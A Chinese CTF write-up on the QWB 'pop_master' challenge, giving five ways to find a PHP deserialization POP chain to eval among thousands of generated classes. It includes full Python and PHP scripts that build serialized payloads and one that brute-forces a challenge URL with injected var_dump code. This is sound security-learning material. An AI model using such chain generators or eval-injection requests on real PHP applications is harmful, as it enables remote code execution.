0x00 前言
在今年六月份的强网杯中,有一道叫做pop_master的题目。简单描述就是从一万个类中,筛选出可利用的pop链路。在赛前,笔者并未了解过抽象语法树的概念。当时是通过PHP的魔术方法完成了这一个有趣的题目。
作者提供了环境生成器,才有了这篇文章(题目生成器):https://gitee.com/b1ind/pop_master
官方的WP正解为AST抽象语法树以及它的污点分析,题目质量还是相当可以的,至此,笔者想到了多种解题思路,并给大家分享。
0x01 思考方向
笔者在刚拿到这16w行代码也是一脸懵。
近十七万行代码,当然人工审计几乎是不可能的。那么我们的思考方向,大致为下图:
这是我们平时审计的步骤,当然也是编写poc的思路,但是在这道题中,可以看到这样方式的查找,最终的查找结果是一个树形结构。我们始终在进行查找操作,直到查找到eval为止,那么我们可以使用递归的形式来帮助我们查找,但是这里我们又要将每一个类都解析出来才可以这一系列操作,所以这里我们需要借助于正则表达式。
0x02 第*种解法
解法一:传统的正则表达式
使用正则的解法其实是不太符合官方的意愿的,使用正则表达式的方式太过于古老,这里笔者分享一篇文章:https://zhuanlan.zhihu.com/p/260013208
但是我们确确实实可以通过使用正则表达式来解析出每一个类,然后进行递归查找的操作。这种古老的方式我们也记录在内。
这里笔者将类的解析规则定义为下图:
通过function下的键值来进行递归查找,如果function的键值为其他函数名,那么递归去查找,如果function的键值为空数组,那么将它认为eval函数,递归停止,以此类推。编写好的poc1.py如下:
import re, os, time targetFunction = 'c83OsD' File = open('class.php', 'r').read() MyClass = [] AllPop = [] def main(): ParseClass(File) findEval(targetFunction) makePoc() def ParseClass(File): global MyClass classes = re.findall(r'(class\s(.+?)\{([\S\s]*?)\}\n\n)', File) # classes[n][0] 类主要结构 classes[n][1] 类名 for i in classes: classItem = {} classItem['className'] = i[1] classItem['propertyName'] = re.findall(r'public\s\$(.+?);', i[0])[0] functionValue = re.findall(r'(public\sfunction\s(.+?)\(\$(.+?)\)\{(([\S\s]+?);\n\n[\S\s]+?)\})', i[0]) FunctionItem = {} for f in functionValue: FunctionItem[f[1]] = [] # classItem['function'].append() # f[1] 函数名 f[2] 参数名 f[3] 方法体 this2Func = re.findall(r'([\s\t]\$this->.+?->(.+?)\(.+?\));', f[3]) if len(this2Func) != 0: for t in this2Func: FunctionItem[f[1]].append(t[1]) classItem['function'] = FunctionItem MyClass.append(classItem) def findEval(startFunc, string = ''): global AllPop for classItem in MyClass: nexts = classItem['function'].get(startFunc) if nexts != None: if len(nexts) == 0: string += classItem['className'] AllPop.append(string.split('->')) for key, nexted in enumerate(nexts): if key == 0: string += classItem['className'] + '->' findEval(nexted, string) def makePoc(): poc = "<?php\n" for i in MyClass: poc += '''class %s{ public function __construct($a = 0){ $this -> %s = $a; } } '''%(i['className'], i['propertyName']) for item in AllPop: poc += 'file_put_contents("poc.txt", serialize(' for clsName in item: poc += 'new %s('%(clsName) for clsName in item: poc += ')' poc += ') . "\\r\\n", FILE_APPEND);\n' open('poc.php', 'w').write(poc) os.popen('php poc.php') print('成功生成poc.txt文件,请使用爆破脚本爆破POP链路...') time.sleep(2) os.remove('poc.php') if __name__ == '__main__': main()
Pop链爆破脚本:
import requests, threading, time url = 'http://www.myctf.com/popmaster/popmaster/index.php' fileName = 'poc.txt' def readFile(): return open(fileName, 'r').read().split('\n') def attack(POP): Param = '?pop={}&argv=var_dump("aaaaaaaaaaaaaaaaaaaa");//'.format(POP) result = requests.get(url + Param).content.decode('utf-8') if 'aaaaaaaaaaaaaaaa' in result: print('----------------------------------') print(POP) print('----------------------------------') if __name__ == '__main__': fileData = readFile() for POP in fileData: threading.Thread(target=attack, args=(POP,)).start() time.sleep(0.001)
将题目的class.php放入到当前目录,修改Poc1.py的targetFunction变量,随之执行脚本,再执行爆破脚本,就可以拿到正确结果。
流程动图:
最终也是使用了POP链路爆破的手段,但是深度想一下,其实正则也是可以进行污点分析的,只要我们正则到位,可以匹配到 if, for等消毒语句,并进行一步一步分析块代码就可以了。只是有点繁琐而已。这里笔者也不会去尝试了。
解法二:PHP的反射
在解法一的正则表达式中,我们的初始目的就是为了将类与函数统统获取,然后再梳理他们之间的关系。但是使用正则表达式是消极的,因为我们只是通过语句结构的样式来进行匹配,当语句结构比较复杂时,使用正则表达式可能不太理想。
那么我们获取类与函数为什么不使用反射呢?在反射中,类与函数都已经作为了“块”等待着我们去获取,这里我们可以使用PHP的反射来拿到类的名称,类的属性,类的方法,然后再进行梳理他们之间的关系,也是可以的。
编写PHP代码:
<?php ini_set('memory_limit','-1'); set_time_limit(0); require './class.php'; # 题目的类文件 $funcName = 'c83OsD'; # 初始查找方法 $classes = get_declared_classes(); $classesInfo = []; $pop = []; foreach($classes as $key => $value){ if($key > 144){ # 设置最初始的键值 $obj = new ReflectionClass($value); $classesInfo[$key]['className'] = $value; foreach($obj -> getProperties() as $property){ $classesInfo[$key]['property'][] = $obj -> getProperties()[0] -> name; } foreach($obj -> getMethods() as $method){ $funcObj = new ReflectionMethod($value, $method -> name); $start = $funcObj->getStartLine() - 1; $end = $funcObj->getEndLine() - 1; $filename = $funcObj->getFileName(); $funcValue = implode("", array_slice(file($filename),$start, $end - $start + 1)); preg_match_all('/\$this.+->(.+?)\(.*?\);/im', $funcValue, $matches); if($matches){ if(isset($matches[1]) && count($matches[1]) !== 0){ foreach($matches[1] as $MethodName){ # var_dump($MethodName); $classesInfo[$key]['function'][$method -> name][] = trim($MethodName); } }else{ $classesInfo[$key]['function'][$method -> name][] = 'Eval_'; } } } } } function findEval($nowFunc = 'yMLezf', $string = ''){ global $classesInfo, $pop; if(count($classesInfo)){ foreach($classesInfo as $item){ if(is_array($item['function'])){ foreach($item['function'] as $functionName => $functionCall){ if($functionName == $nowFunc){ foreach($functionCall as $next){ if($next == 'Eval_'){ $string = $string . $item['className'] . "---{$item['property'][0]}"; $pop[] = array_unique(explode('->', $string)); }else{ $string .= $item['className'] . "---{$item['property'][0]}" . '->'; findEval($next, $string); } } } } } } } } findEval($funcName); $evalString = "<?php\r\nunlink(__FILE__);\r\n"; foreach($classesInfo as $value){ $evalString .= <<<EOF class {$value['className']} { public function __construct(\$a = 'a'){ \$this->{$value['property'][0]} = \$a; } } EOF; } foreach($pop as $pop_){ $evalString .= "file_put_contents('poc.txt', serialize("; foreach($pop_ as $key => $value){ $classesInfo = explode('---', $value); $className = $classesInfo[0]; $evalString .= <<<EOF new $className( EOF; } foreach($pop_ as $key => $value){ $evalString .= <<<EOF ) EOF; } $evalString .= ") . \"\\r\\n\", FILE_APPEND);\r\n"; } file_put_contents('./temp.php', $evalString); echo '<img src="./temp.php">生成poc.txt成功. 请查看poc.txt文件';
因为poc为PHP编写,所以在这里我们需要注意,在nginx需要配置nginx.conf添加如下配置:
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
以防止PHP报出500错误。
还有一点我们需要注意的就是POC中的第13行。
笔者这里$key定义为144的原因是,因为我们使用了get_declared_classes()来获得php中已定义的类,随后再使用反射。这里会获得到原生类,所以我们应该找到非原生类的键值,如图:
为了将原生类过滤掉,这里必须要设置一下键值。
流程动图:
由于使用了反射机制,所以该POC脚本执行比较慢,笔者这里等了1-2分钟。
解法三:PHP提供的方法
在PHP中,可以使用get_declared_classes来获取所有的类,使用get_class_vars获取类的成员属性,使用get_class_methods获取类下的所有方法,所以使用PHP提供给我们的方法,也是可以拿到类与函数的结构的,这里笔者就不再重复演示了。
解法四:AST抽象语法树
当然,AST抽象语法树也是官方正解,POC也是使用PHP-Parser来进行编写的,它好在非常轻松的就可以做污点分析,并且我们不需要去梳理类与函数的关系,因为语法树已经保留了类与函数的关系,我们直接在语法树上操作就可以了。
关于AST抽象语法树笔者这里分享两篇文章,讲的非常不错。
在自动化审计之前,我们都是使用PHP-Parser来做混淆/解混淆工作。
当然,不能有官方的POC,笔者就偷懒,在这里笔者写了个稍微简单点的POC,它只是分析了赋值语句的问题,因为在题目的最终点,都是一个eval。所以我们做污点分析只需要注意变量的赋值操作就可以了。如图:
以上就是我们需要注意的场景。
代码放到了码云:https://gitee.com/He1huKey/popmaster/blob/master/popmaster.zip
在压缩包下的Part4目录下。
流程动图:
可以看到,与官方生成的pop链是一致的。
解法五:PHP魔术方法
除了我们从第三视角来看这十六万行代码外,我们应该考虑一下让PHP自己本身正向去查找可利用的链路,这里我们依赖于PHP的魔术方法。
这种解法也是笔者第一次解出题目的解法,因为PHP本来就是一个非常灵活的语言,我们应该让它在一万个类中灵活起来。
简单demo举例:
为了可以让A可以自动查找到B,B可以自动查找到C,这里我们需要继承一个父类,然后定义一个__get魔术方法。
可以看到,我们并没有进入到__get方法,__get方法会在“访问不存在的成员属性”的时候所调用。所以我们需要将每一个类的public xx属性给删除掉,我们再次访问。
这样一来我们就可以调用到__get方法了,那么调用到__get方法有什么用呢?
这里我们可以将__get的返回结果定义为$this,什么意思呢?简单描述就是将
$this -> propertyA -> FuncB();
这段代码解释为:
$this -> FuncB();
这样的话反而会调用到本类的__call方法,因为本类根本没有定义FuncB这个类,如图:
这样一来,我们就可以从__call方法中进行查找操作了。如图:
可以从图中看到,成功找到了phpinfo函数,那么编写POC:
import re, sys classPath = './class.php' # 复制类文件到这里 def start(): value = open(classPath, 'r').read() pregClass = 'class(.+?)\{' pregPublic = 'public \$.+?;' pregExists = 'if\(method_exists\(.+?\)\)' pregEval = 'eval' result = re.sub(pregClass, r'class\1 extends MyClass{', value) result = re.sub(pregPublic, '', result) result = re.sub(pregExists, '', result) result = re.sub(pregEval, 'myfunc', result) return result def myClass(allClass): myClass = '''<?php class MyClass{ public function __get($name){ $this -> funcName = $name; $this -> $name = $this; return $this -> $name; } public function __call($funcName, $funcValue){ $classes = get_declared_classes(); foreach($classes as $key => $value){ if(strlen($value) == 6){ try{ $obj = new $value; if(method_exists($obj, $funcName)){ $this -> {$this -> funcName} = $obj; $obj -> $funcName($funcValue[0]); } }catch(Exception $e){ } } } unset($this -> {$this -> funcName}); echo "\\r\\n"; } } function myfunc($value){ if(substr($value, 0, 7) == 'aaaaaaa'){ echo serialize($GLOBALS['obj']); die; } } ''' return myClass + allClass if __name__ == '__main__': print('请在当前目录下放置 class.php 文件...') if len(sys.argv) < 3: exit('请传输调用的 类名 与 方法 名') AllClass = start() PHP = myClass(AllClass.replace('<?php', '')) open('myclass.php', 'w').write(PHP) IndexPHP = '''<?php include "myclass.php"; $obj = new %s(); $obj -> %s('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'); '''%(sys.argv[1], sys.argv[2]) open('myindex.php', 'w').write(IndexPHP) print('生成完毕...请执行myindex.php...')
流程动图:
0x03 Ending
整个题目之旅非常有趣,感觉AST这门技术是我们必须要掌握的一门技术,不管从自动化审计方面,还是混淆与解混淆方面,使用AST可以很方便的处理这些东西。
文章中所使用的所有代码:
https://gitee.com/He1huKey/popmaster/blob/master/popmaster.zip